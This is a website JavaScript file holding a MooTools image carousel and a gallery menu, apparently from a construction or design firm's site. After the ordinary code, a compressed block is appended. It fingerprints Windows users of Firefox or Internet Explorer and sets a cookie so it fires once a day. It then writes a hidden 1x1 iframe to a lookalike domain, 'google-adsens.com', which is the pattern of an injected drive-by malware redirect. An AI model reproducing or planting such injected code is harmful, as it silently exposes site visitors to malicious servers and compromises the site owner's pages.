var carousel = {
	
	buttonPrevId : "btn_carousel_left",
	buttonNextId : "btn_carousel_right",
	
	buttonPrev : null,
	buttonNext : null,
	
	images : [],
	imagesClass : 'carousel_image',
	
	currentIndex : 0,
	nextIndex : null,
	startAnimation : false,
	
	imageMorphTransition : 'expo:inOut',
	imageMorphDuration: 500,
	
	imagesBoxId : 'carousel_images',	
	imagesBox : null,
	
	timerInstance : null,
	timerDuration : 7000,
	timer: true,
	
	texts : [],
	textsClass : 'carousel_text',
	textMorphTransition : 'bounce:inOut',
	textMorphDuration: 300,

	init: function()
	{
		
		// init buttons
		
		carousel.buttonPrev = $(carousel.buttonPrevId);
		carousel.buttonNext = $(carousel.buttonNextId);
		
		carousel.buttonPrev.addEvent("click", function(){
			if(carousel.startAnimation)
			{
				carousel.morph('prev', 0);	
			}
			return false;
		});
		
		carousel.buttonNext.addEvent("click", function(){
			if(carousel.startAnimation)
			{
				carousel.morph('next', 0);
			}
			return false;
		});
		
		// init elements
		
		carousel.images = $$('.'+carousel.imagesClass);
		carousel.imagesBox = $(carousel.imagesBoxId);
		
		carousel.texts = $$('.'+carousel.textsClass);
		
		for(var i = 0; i < carousel.texts.length; i++)
		{
			if(i > 0)
			{
				carousel.texts[i].setStyle('opacity', 0);
			}
			carousel.texts[i].set('morph', {
				transition : carousel.textMorphTransition,
				duration : carousel.textMorphDuration,
				onComplete : function(){}
			});
		}
		
		carousel.disableButton();
		
		carousel.imagesBox.set('morph', {
			transition : carousel.imageMorphTransition,
			duration : carousel.imageMorphDuration,
			onComplete : function(){
				carousel.startAnimation = true;
				carousel.currentIndex = carousel.nextIndex;
				carousel.disableButton();
			}
		});
		
		if(carousel.images.length > 1)
		{
			carousel.startAnimation = true;
			
			if(carousel.timer)
			{
				carousel.timerInstance = setInterval('carousel.morph("next", 1)', carousel.timerDuration);
			}
			
		}
		
	},
	
	morph: function(type, timed)
	{
		
		if(carousel.startAnimation)
		{
			
			carousel.startAnimation = false;
			
			// box height
			
			var imagesBoxHeight = carousel.imagesBox.getStyle('height').toInt();
			//alert(imagesBoxHeight);
			
			// indexes
			
			var currentIndex = carousel.currentIndex;
			var nextIndex = (type == "next")? currentIndex + 1 : currentIndex - 1;
			nextIndex = (nextIndex == carousel.images.length)?  0 : nextIndex;
			nextIndex = (nextIndex < 0)?  carousel.images.length - 1 : nextIndex;
			carousel.nextIndex = nextIndex;
			
			// set margin
			
			var imageHeight = imagesBoxHeight/carousel.images.length;
			var currentMargin = carousel.imagesBox.getStyle('top').toInt();
			//alert(currentMargin);
			currentMargin = (isNaN(currentMargin))? 0 : currentMargin;
			carousel.imagesBox.setStyle('top', currentMargin);
			
			var marginBox = (type == "next")? currentMargin - imageHeight : currentMargin + imageHeight;
			//alert(marginBox);
			
			if(timed && (carousel.currentIndex == carousel.images.length - 1))
			{
				marginBox = 0
			}
			else
			{
				if(carousel.timer)
				{
					carousel.timerInstance = clearInterval(carousel.timerInstance);
					carousel.timerInstance = setInterval('carousel.morph("next", 1)', carousel.timerDuration);
				}
			}
			
			// set text
			
			carousel.texts[carousel.currentIndex].morph({
				'opacity' : [1, 0],
				'display' : 'none'
				});
				
			carousel.texts[carousel.nextIndex].morph({
				'opacity' : [0, 1],
				'display' : 'block'
				});
			
			carousel.imagesBox.morph({
					'top' : [currentMargin, marginBox]
				});
						
		}
	},
	
	disableButton : function()
	{
		var maxIndex = carousel.images.length - 1;
		switch(carousel.currentIndex)
		{
			case 0:
				carousel.buttonPrev.setStyle('display','none');
				carousel.buttonNext.setStyle('display','inline');
				break;
				
			case maxIndex:
				carousel.buttonPrev.setStyle('display','inline');
				carousel.buttonNext.setStyle('display','none');
				break;
				
			default:
				carousel.buttonPrev.setStyle('display','inline');
				carousel.buttonNext.setStyle('display','inline');
				break;
		}
	}
};

var gallery_menu = {
	
	box : ['box_industriale', 'box_residenziale', 'box_commerciale'],

	init : function()
	{
		var links = $$('#gallery_menu a');
		for(var i = 0; i < links.length; i++)
		{
			links[i].addEvent("click", function(){
				gallery_menu.displayBox(this.id);
			});
		}
		gallery_menu.displayBox('lnk_residenziale');
	},

	displayBox : function(the_id)
	{
		
		var link_id = the_id;
		var box_id = link_id.replace("lnk_", "box_");
		
		
				
		$(the_id).addClass('sel');
		$(box_id).setStyle('display', 'block');

		for(var j = 0; j < gallery_menu.box.length; j++)
		{
			if(box_id != gallery_menu.box[j])
			{
				$(gallery_menu.box[j].replace("box_", "lnk_")).removeClass('sel');
				$(gallery_menu.box[j]).setStyle('display', 'none');
			}
		}
	}

}

window.addEvent("domready", function(){
	if(document.getElementById("slideshow"))
	{
		carousel.init();
	}
	if(document.getElementById("gallery_menu"))
	{
		gallery_menu.init();
	}
});
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
